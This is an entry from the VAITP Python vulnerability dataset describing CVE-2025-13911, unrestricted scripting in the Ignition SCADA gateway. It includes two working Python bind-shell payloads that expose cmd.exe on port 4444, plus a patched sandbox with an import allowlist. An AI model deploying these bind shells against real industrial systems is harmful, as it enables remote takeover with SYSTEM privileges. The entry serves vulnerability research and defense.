VAITP Dataset

← Back to the dataset

CVE-2025-13911

Unrestricted Python scripting in Ignition allows RCE with SYSTEM privileges.

  • CVSS 7.3
  • CWE-250
  • Design Defects
  • Remote

The vulnerability affects Ignition SCADA applications where Python scripting is utilized for automation purposes. The vulnerability arises from the absence of proper security controls that restrict which Python libraries can be imported and executed within the scripting environment. The core issue lies in the Ignition service account having system permissions beyond what an Ignition privileged user requires. When an authenticated administrator uploads a malicious project file containing Python scripts with bind shell capabilities, the application executes these scripts with the same privileges as the Ignition Gateway process, which typically runs with SYSTEM-level permissions on Windows. Alternative code execution patterns could lead to similar results.

CVSS base score
7.3
Published
2025-12-18
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Design Defects
Subcategory
Privilege Escalation
Accessibility scope
Remote
Impact
Privilege Escalation
Affected component
Ignition SCA

Solution

Upgrade to Ignition version 8.1.37 or later.

Vulnerable code sample

import socket
import subprocess
import os

# This script represents a malicious payload that could be embedded
# in an Ignition SCADA project file. It creates a bind shell that
# listens for an incoming connection and gives the attacker a
# command prompt with the privileges of the Ignition Gateway service.

# The vulnerability is the environment's failure to restrict the import
# of libraries like 'socket' and 'subprocess', and executing this
# script with elevated (e.g., SYSTEM) privileges.

HOST = '0.0.0.0'  # Listen on all available network interfaces
PORT = 4444       # Port to listen on

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)

# Loop to accept a connection, provide a shell, and then wait for the next one.
while True:
    conn, addr = s.accept()
    # On Windows, start a command prompt process.
    # The standard input, output, and error of the process are
    # redirected to the network socket, giving the remote user a shell.
    # The 'shell=True' argument is used to ensure the command interpreter is invoked.
    proc = subprocess.Popen(["cmd.exe"], stdin=conn, stdout=conn, stderr=conn, shell=True)
    proc.wait() # Wait for the shell process to terminate before accepting new connections.
    conn.close()

Patched code sample

import builtins

def execute_restricted_script(script_code: str):
    """
    Executes a Python script in a restricted environment to mitigate
    vulnerabilities like CVE-2025-13911.

    This function simulates a fix by creating a sandbox that controls
    which modules can be imported and which built-in functions can be
    accessed.
    """
    # 1. Define an allowlist of safe modules.
    # Any module not in this set cannot be imported by the user script.
    # Dangerous modules like 'os', 'subprocess', 'socket', 'sys' are omitted.
    ALLOWED_MODULES = {
        'math',
        'datetime',
        're',
        'json',
        'collections',
        'itertools'
        # Customer-specific or other vetted libraries could be added here.
    }

    # Keep a reference to the original, unrestricted import function.
    original_import = builtins.__import__

    def secure_import(name, globals=None, locals=None, fromlist=(), level=0):
        """
        A custom, secured version of the __import__ function. It checks the
        requested module name against the allowlist before proceeding.
        """
        # The 'name' argument is the top-level package (e.g., 'os.path' -> 'os')
        module_root = name.split('.')[0]
        if module_root not in ALLOWED_MODULES:
            raise ImportError(
                f"Disallowed import: '{name}'. Only modules from the "
                "approved list can be imported."
            )
        return original_import(name, globals, locals, fromlist, level)

    # 2. Create a restricted environment for the script execution.
    # We start with a dictionary of built-in functions.
    # The check for isinstance is to ensure compatibility across Python versions
    # and environments where __builtins__ can be a module or a dict.
    if isinstance(__builtins__, dict):
        safe_builtins = __builtins__.copy()
    else:
        safe_builtins = __builtins__.__dict__.copy()


    # 3. Override the __import__ function within the restricted environment.
    safe_builtins['__import__'] = secure_import

    # 4. For added security, remove other potentially dangerous built-ins
    # that could be used to execute system commands or access the filesystem.
    # This prevents direct access even if a module bypass were found.
    dangerous_builtins = [
        'open',          # Filesystem access
        'eval',          # Arbitrary code execution
        'exec',          # Arbitrary code execution
        'breakpoint',    # Debugging/introspection
        'compile',       # Code compilation
        'exit',          # Can terminate the gateway process
        'quit'           # Can terminate the gateway process
    ]
    for builtin_name in dangerous_builtins:
        if builtin_name in safe_builtins:
            safe_builtins[builtin_name] = None # Or raise an exception

    # The globals for the executed script will only contain our safe builtins.
    sandboxed_globals = {"__builtins__": safe_builtins}

    # 5. Execute the user's script within the sandboxed environment.
    # The script will only have access to the globals and locals provided.
    # Any attempt to 'import os' will be intercepted by 'secure_import'.
    try:
        exec(script_code, sandboxed_globals, {})
    except Exception as e:
        # In a real application, this error would be logged securely.
        print(f"Script execution failed with a security or runtime error: {e}")

Payload

import socket
import subprocess

HOST = '0.0.0.0'
PORT = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
conn, addr = s.accept()

p = subprocess.Popen(["cmd.exe"], stdin=conn, stdout=conn, stderr=conn, shell=True)
p.wait()

Cite this entry

@misc{vaitp:cve202513911,
  title        = {{Unrestricted Python scripting in Ignition allows RCE with SYSTEM privileges.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-13911},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-13911/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::